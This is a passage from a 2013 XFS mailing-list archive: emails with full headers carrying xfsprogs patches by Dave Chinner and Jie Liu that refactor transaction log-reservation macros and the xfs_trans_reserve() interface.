((mp)->m_resv.tr_qm_dqalloc.tr_logres) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_resv.tr_qm_sbchange.tr_logres) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_resv.tr_qm_quotaoff.tr_logres) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_resv.tr_qm_equotaoff.tr_logres) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_resv.tr_clearagi.tr_logres) - /* * Various log count values. */ diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index b2d2a5a..59cdcfd 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -46,8 +46,9 @@ max_attrsetm_trans_res_adjust( nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); nblks += XFS_B_TO_FSB(mp, size); nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); - res = XFS_ATTRSETM_LOG_RES(mp) + XFS_ATTRSETRT_LOG_RES(mp) * nblks; - mp->m_resv.tr_attrsetm.tr_logres = res; + res = M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * nblks; + M_RES(mp)->tr_attrsetm.tr_logres = res; } static int -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 100668048 for ; Fri, 19 Jul 2013 01:45:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 011DE8F8033 for ; Thu, 18 Jul 2013 23:45:41 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id KTcuQbBg1uu1QiSK for ; Thu, 18 Jul 2013 23:45:40 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45ygTqDZgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JI-8u for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Lm-7s for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 34/49] xfs: don't special case shared superblock mounts Date: Fri, 19 Jul 2013 16:45:09 +1000 X-ASG-Orig-Subj: [PATCH 34/49] xfs: don't special case shared superblock mounts Message-Id: <1374216324-8781-35-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216340 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Neither kernel or userspace support shared read-only mounts, so don't beother special casing the support check to be different between kernel and userspace. The same check canbe used as neither like it... Signed-off-by: Dave Chinner --- include/xfs_sb.h | 7 ------- 1 file changed, 7 deletions(-) diff --git a/include/xfs_sb.h b/include/xfs_sb.h index dea0373..d6f3648 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -355,15 +355,8 @@ static inline int xfs_sb_good_version(xfs_sb_t *sbp) (sbp->sb_features2 & ~XFS_SB_VERSION2_OKREALBITS))) return 0; -#ifdef __KERNEL__ if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) return 0; -#else - if ((sbp->sb_versionnum & XFS_SB_VERSION_SHAREDBIT) && - sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) - return 0; -#endif - return 1; } if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0D38B8050 for ; Fri, 19 Jul 2013 01:45:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F224F304039 for ; Thu, 18 Jul 2013 23:45:42 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 1plw6DJ8uoK0RqNL for ; Thu, 18 Jul 2013 23:45:41 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45LFBOBOoNmA6F/hyuDJCqBLAEf Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:36 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jc-El for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002MQ-Dl for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 42/49] xfs: Introduce tr_fsyncts to m_reservation Date: Fri, 19 Jul 2013 16:45:17 +1000 X-ASG-Orig-Subj: [PATCH 42/49] xfs: Introduce tr_fsyncts to m_reservation Message-Id: <1374216324-8781-43-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216341 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu A preparation step. For now fsync_ts transaction use the pre-calculated log reservation size of tr_swrite. This patch introduce a new item tr_fsyncts to mp->m_reservations structure so that we can fetch the log reservation value for it in a same manner to others. Signed-off-by: Jie Liu --- include/xfs_trans_resv.h | 3 ++- libxfs/xfs_trans_resv.c | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 0aac1fa..326f17d 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -62,6 +62,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_qm_quotaoff; /* turn quota off */ struct xfs_trans_res tr_qm_equotaoff;/* end of turn quota off */ struct xfs_trans_res tr_sb; /* modify superblock */ + struct xfs_trans_res tr_fsyncts; /* update timestamps on fsync */ }; /* @@ -109,7 +110,7 @@ struct xfs_trans_resv { * Logging the inode timestamps on an fsync -- same as SWRITE * as long as SWRITE logs the entire inode core */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) #define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index e0b8ef6..36aeafe 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -734,6 +734,7 @@ xfs_trans_resv_calc( resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); + resp->tr_fsyncts.tr_logres = xfs_calc_swrite_reservation(mp); resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); resp->tr_clearagi.tr_logres = xfs_calc_clear_agi_bucket_reservation(mp); -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 00ACD8038 for ; Fri, 19 Jul 2013 01:45:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D711B304039 for ; Thu, 18 Jul 2013 23:45:40 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id rbKqM4QOmN8Pzdmx for ; Thu, 18 Jul 2013 23:45:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqAcAMLf6FF5LK4r/2dsb2JhbABSCIMGNa0NApQCBAGBFBd0giQBAQUnLzMIGDE5AxsZiA+2I45DFgYTgRKEDgOZBoh5hyuDJCqBLQgX Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jj-GG for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Ma-Ew for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 44/49] xfs: refactor xfs_trans_reserve() interface Date: Fri, 19 Jul 2013 16:45:19 +1000 X-ASG-Orig-Subj: [PATCH 44/49] xfs: refactor xfs_trans_reserve() interface Message-Id: <1374216324-8781-45-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216337 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu With the new xfs_trans_res structure has been introduced, the log reservation size, log count as well as log flags are pre-initialized at mount time. So it's time to refine xfs_trans_reserve() interface to be more neat. Also, introduce a new helper M_RES() to return a pointer to the mp->m_resv structure to simplify the input. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/libxfs.h | 3 +- include/xfs_trans_resv.h | 3 ++ libxfs/trans.c | 20 +++++------ libxfs/util.c | 15 +++++--- libxfs/xfs_attr.c | 33 +++++++++--------- libxfs/xfs_bmap.c | 4 +-- libxfs/xfs_trans_resv.c | 7 ++-- mkfs/proto.c | 24 ++++++++----- mkfs/xfs_mkfs.c | 5 ++- repair/phase5.c | 3 +- repair/phase6.c | 89 +++++++++++++++++++++++------------------------- repair/phase7.c | 7 ++-- 12 files changed, 115 insertions(+), 98 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index e58fcdc..0b70f5c 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -512,7 +512,8 @@ typedef struct xfs_trans { extern xfs_trans_t *libxfs_trans_alloc (xfs_mount_t *, int); extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); -extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); +extern int libxfs_trans_reserve(struct xfs_trans *, struct xfs_trans_res *, + uint, uint); extern int libxfs_trans_commit (xfs_trans_t *, uint); extern void libxfs_trans_cancel (xfs_trans_t *, int); extern xfs_buf_t *libxfs_trans_getsb (xfs_trans_t *, xfs_mount_t *, int); diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index b8d5666..140d3f3 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -65,6 +65,9 @@ struct xfs_trans_resv { struct xfs_trans_res tr_fsyncts; /* update timestamps on fsync */ }; +/* shorthand way of accessing reservation structure */ +#define M_RES(mp) (&(mp)->m_resv) + /* * Per-extent log reservation for the allocation btree changes * involved in freeing or allocating an extent. diff --git a/libxfs/trans.c b/libxfs/trans.c index 2fc0ecc..6a05673 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -91,7 +91,7 @@ libxfs_trans_roll( struct xfs_inode *dp) { struct xfs_trans *trans; - unsigned int logres, count; + struct xfs_trans_res tres; int error; /* @@ -103,8 +103,8 @@ libxfs_trans_roll( /* * Copy the critical parameters from one trans to the next. */ - logres = trans->t_log_res; - count = trans->t_log_count; + tres.tr_logres = trans->t_log_res; + tres.tr_logcount = trans->t_log_count; *tpp = xfs_trans_dup(trans); /* @@ -128,8 +128,8 @@ libxfs_trans_roll( * across this call, or that anything that is locked be logged in * the prior and the next transactions. */ - error = xfs_trans_reserve(trans, 0, logres, 0, - XFS_TRANS_PERM_LOG_RES, count); + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(trans, &tres, 0, 0); /* * Ensure that the inode is in the new transaction and locked. */ @@ -176,12 +176,10 @@ libxfs_trans_dup( int libxfs_trans_reserve( - xfs_trans_t *tp, - uint blocks, - uint logspace, - uint rtextents, - uint flags, - uint logcount) + struct xfs_trans *tp, + struct xfs_trans_res *resp, + uint blocks, + uint rtextents) { xfs_sb_t *mpsb = &tp->t_mountp->m_sb; diff --git a/libxfs/util.c b/libxfs/util.c index 1d3113a..d7459e0 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -473,7 +473,8 @@ libxfs_alloc_file_space( tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); resblks = (uint)XFS_DIOSTRAT_SPACE_RES(mp, datablocks); - error = xfs_trans_reserve(tp, resblks, 0, 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + resblks, 0); if (error) break; xfs_trans_ijoin(tp, ip, 0); @@ -536,7 +537,6 @@ libxfs_inode_alloc( struct fsxattr *fsx, xfs_inode_t **ipp) { - int i; xfs_buf_t *ialloc_context; xfs_inode_t *ip; xfs_trans_t *ntp; @@ -555,13 +555,20 @@ libxfs_inode_alloc( } if (ialloc_context) { + struct xfs_trans_res tres; + xfs_trans_bhold(*tp, ialloc_context); + tres.tr_logres = (*tp)->t_log_res; + tres.tr_logcount = (*tp)->t_log_count; + ntp = xfs_trans_dup(*tp); xfs_trans_commit(*tp, 0); *tp = ntp; - if ((i = xfs_trans_reserve(*tp, 0, 0, 0, 0, 0))) { + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(*tp, &tres, 0, 0); + if (error) { fprintf(stderr, _("%s: cannot reserve space: %s\n"), - progname, strerror(i)); + progname, strerror(error)); exit(1); } xfs_trans_bjoin(*tp, ialloc_context); diff --git a/libxfs/xfs_attr.c b/libxfs/xfs_attr.c index 8fe892e..f554e60 100644 --- a/libxfs/xfs_attr.c +++ b/libxfs/xfs_attr.c @@ -202,13 +202,14 @@ xfs_attr_set_int( int valuelen, int flags) { - xfs_da_args_t args; - xfs_fsblock_t firstblock; - xfs_bmap_free_t flist; - int error, err2, committed; - xfs_mount_t *mp = dp->i_mount; - int rsvd = (flags & ATTR_ROOT) != 0; - int local; + xfs_da_args_t args; + xfs_fsblock_t firstblock; + xfs_bmap_free_t flist; + int error, err2, committed; + struct xfs_mount *mp = dp->i_mount; + struct xfs_trans_res tres; + int rsvd = (flags & ATTR_ROOT) != 0; + int local; /* * Attach the dquots to the inode. @@ -268,11 +269,11 @@ xfs_attr_set_int( if (rsvd) args.trans->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(args.trans, args.total, - XFS_ATTRSETM_LOG_RES(mp) + - XFS_ATTRSETRT_LOG_RES(mp) * args.total, - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ATTRSET_LOG_COUNT); + tres.tr_logres = M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * args.total; + tres.tr_logcount = XFS_ATTRSET_LOG_COUNT; + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(args.trans, &tres, args.total, 0); if (error) { xfs_trans_cancel(args.trans, 0); return(error); @@ -492,11 +493,9 @@ xfs_attr_remove_int(xfs_inode_t *dp, struct xfs_name *name, int flags) if (flags & ATTR_ROOT) args.trans->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(args.trans, - XFS_ATTRRM_SPACE_RES(mp), - XFS_ATTRRM_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ATTRRM_LOG_COUNT))) { + error = xfs_trans_reserve(args.trans, &M_RES(mp)->tr_attrrm, + XFS_ATTRRM_SPACE_RES(mp), 0); + if (error) { xfs_trans_cancel(args.trans, 0); return(error); } diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index eeaea94..2d480cc 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -1113,8 +1113,8 @@ xfs_bmap_add_attrfork( blks = XFS_ADDAFORK_SPACE_RES(mp); if (rsvd) tp->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(tp, blks, XFS_ADDAFORK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_ADDAFORK_LOG_COUNT))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_addafork, blks, 0); + if (error) goto error0; xfs_ilock(ip, XFS_ILOCK_EXCL); error = xfs_trans_reserve_quota_nblks(tp, ip, blks, 0, rsvd ? diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index 36aeafe..d134136 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -522,7 +522,8 @@ xfs_calc_attrsetm_reservation( * Since the runtime attribute transaction space is dependent on the total * blocks needed for the 1st bmap, here we calculate out the space unit for * one block so that the caller could figure out the total space according - * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). + * to the attibute extent length in blocks by: + * ext * M_RES(mp)->tr_attrsetrt.tr_logres */ STATIC uint xfs_calc_attrsetrt_reservation( @@ -594,14 +595,14 @@ xfs_calc_qm_setqlim_reservation( /* * Allocating quota on disk if needed. - * the write transaction log space: XFS_WRITE_LOG_RES(mp) + * the write transaction log space: M_RES(mp)->tr_write.tr_logres * the unit of quota allocation: one system block size */ STATIC uint xfs_calc_qm_dqalloc_reservation( struct xfs_mount *mp) { - return XFS_WRITE_LOG_RES(mp) + + return M_RES(mp)->tr_write.tr_logres + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); } diff --git a/mkfs/proto.c b/mkfs/proto.c index ee84699..e33d238 100644 --- a/mkfs/proto.c +++ b/mkfs/proto.c @@ -119,7 +119,9 @@ getres( mp = tp->t_mountp; for (i = 0, r = MKFS_BLOCKRES(blocks); r >= blocks; r--) { - i = libxfs_trans_reserve(tp, r, 0, 0, 0, 0); + struct xfs_trans_res tres = {0}; + + i = libxfs_trans_reserve(tp, &tres, r, 0); if (i == 0) return; } @@ -615,13 +617,16 @@ rtinit( xfs_trans_t *tp; struct cred creds; struct fsxattr fsxattrs; + struct xfs_trans_res tres = {0}; /* * First, allocate the inodes. */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, MKFS_BLOCKRES_INODE, 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, MKFS_BLOCKRES_INODE, 0); + if (i) res_failed(i); + memset(&creds, 0, sizeof(creds)); memset(&fsxattrs, 0, sizeof(fsxattrs)); error = libxfs_inode_alloc(&tp, NULL, S_IFREG, 1, 0, @@ -658,9 +663,11 @@ rtinit( * Next, give the bitmap file some zero-filled blocks. */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, mp->m_sb.sb_rbmblocks + - (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, mp->m_sb.sb_rbmblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (i) res_failed(i); + libxfs_trans_ijoin(tp, rbmip, 0); libxfs_trans_ihold(tp, rbmip); bno = 0; @@ -694,9 +701,9 @@ rtinit( */ tp = libxfs_trans_alloc(mp, 0); nsumblocks = mp->m_rsumsize >> mp->m_sb.sb_blocklog; - if ((i = libxfs_trans_reserve(tp, - nsumblocks + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), - 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, nsumblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (i) res_failed(i); libxfs_trans_ijoin(tp, rsumip, 0); libxfs_trans_ihold(tp, rsumip); @@ -731,7 +738,8 @@ rtinit( */ for (bno = 0; bno < mp->m_sb.sb_rextents; bno = ebno) { tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, 0, 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, 0, 0); + if (i) res_failed(i); libxfs_trans_ijoin(tp, rbmip, 0); libxfs_trans_ihold(tp, rbmip); diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index bb5d8d4..a940150 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2821,6 +2821,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), for (agno = 0; agno < agcount; agno++) { xfs_alloc_arg_t args; xfs_trans_t *tp; + struct xfs_trans_res tres = {0}; memset(&args, 0, sizeof(args)); args.tp = tp = libxfs_trans_alloc(mp, 0); @@ -2828,8 +2829,10 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), args.agno = agno; args.alignment = 1; args.pag = xfs_perag_get(mp,agno); - if ((c = libxfs_trans_reserve(tp, worst_freelist, 0, 0, 0, 0))) + c = libxfs_trans_reserve(tp, &tres, worst_freelist, 0); + if (c) res_failed(c); + libxfs_alloc_fix_freelist(&args, 0); xfs_perag_put(args.pag); libxfs_trans_commit(tp, 0); diff --git a/repair/phase5.c b/repair/phase5.c index 2eae42a..27bb47e 100644 --- a/repair/phase5.c +++ b/repair/phase5.c @@ -1405,6 +1405,7 @@ build_agf_agfl(xfs_mount_t *mp, { xfs_alloc_arg_t args; xfs_trans_t *tp; + struct xfs_trans_res tres = {0}; memset(&args, 0, sizeof(args)); args.tp = tp = libxfs_trans_alloc(mp, 0); @@ -1412,7 +1413,7 @@ build_agf_agfl(xfs_mount_t *mp, args.agno = agno; args.alignment = 1; args.pag = xfs_perag_get(mp,agno); - libxfs_trans_reserve(tp, XFS_MIN_FREELIST(agf, mp), 0, 0, 0, 0); + libxfs_trans_reserve(tp, &tres, XFS_MIN_FREELIST(agf, mp), 0); libxfs_alloc_fix_freelist(&args, 0); xfs_perag_put(args.pag); libxfs_trans_commit(tp, 0); diff --git a/repair/phase6.c b/repair/phase6.c index 2905a1c..df9b92e 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -429,13 +429,15 @@ mk_rbmino(xfs_mount_t *mp) xfs_bmbt_irec_t map[XFS_BMAP_MAX_NMAP]; int vers; int times; + struct xfs_trans_res tres = {0}; /* * first set up inode */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, 10, 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, 10, 0); + if (i) res_failed(i); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rbmino, 0, 0, &ip); @@ -490,8 +492,9 @@ mk_rbmino(xfs_mount_t *mp) * from mkfs) */ tp = libxfs_trans_alloc(mp, 0); - if ((error = libxfs_trans_reserve(tp, mp->m_sb.sb_rbmblocks + - (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0, 0, 0, 0))) + error = libxfs_trans_reserve(tp, &tres, mp->m_sb.sb_rbmblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -536,13 +539,15 @@ fill_rbmino(xfs_mount_t *mp) int error; xfs_dfiloff_t bno; xfs_bmbt_irec_t map; + struct xfs_trans_res tres = {0}; bmp = btmcompute; bno = 0; tp = libxfs_trans_alloc(mp, 0); - if ((error = libxfs_trans_reserve(tp, 10, 0, 0, 0, 0))) + error = libxfs_trans_reserve(tp, &tres, 10, 0); + if (error) res_failed(error); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rbmino, 0, 0, &ip); @@ -604,6 +609,7 @@ fill_rsumino(xfs_mount_t *mp) xfs_dfiloff_t bno; xfs_dfiloff_t end_bno; xfs_bmbt_irec_t map; + struct xfs_trans_res tres = {0}; smp = sumcompute; bno = 0; @@ -611,7 +617,8 @@ fill_rsumino(xfs_mount_t *mp) tp = libxfs_trans_alloc(mp, 0); - if ((error = libxfs_trans_reserve(tp, 10, 0, 0, 0, 0))) + error = libxfs_trans_reserve(tp, &tres, 10, 0); + if (error) res_failed(error); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rsumino, 0, 0, &ip); @@ -677,14 +684,15 @@ mk_rsumino(xfs_mount_t *mp) xfs_bmbt_irec_t map[XFS_BMAP_MAX_NMAP]; int vers; int times; + struct xfs_trans_res tres = {0}; /* * first set up inode */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, 10, XFS_ICHANGE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT))) + i = libxfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 10, 0); + if (i) res_failed(i); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rsumino, 0, 0, &ip); @@ -742,11 +750,12 @@ mk_rsumino(xfs_mount_t *mp) xfs_bmap_init(&flist, &first); nsumblocks = mp->m_rsumsize >> mp->m_sb.sb_blocklog; - if ((error = libxfs_trans_reserve(tp, - mp->m_sb.sb_rbmblocks + - (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), - BBTOB(128), 0, XFS_TRANS_PERM_LOG_RES, - 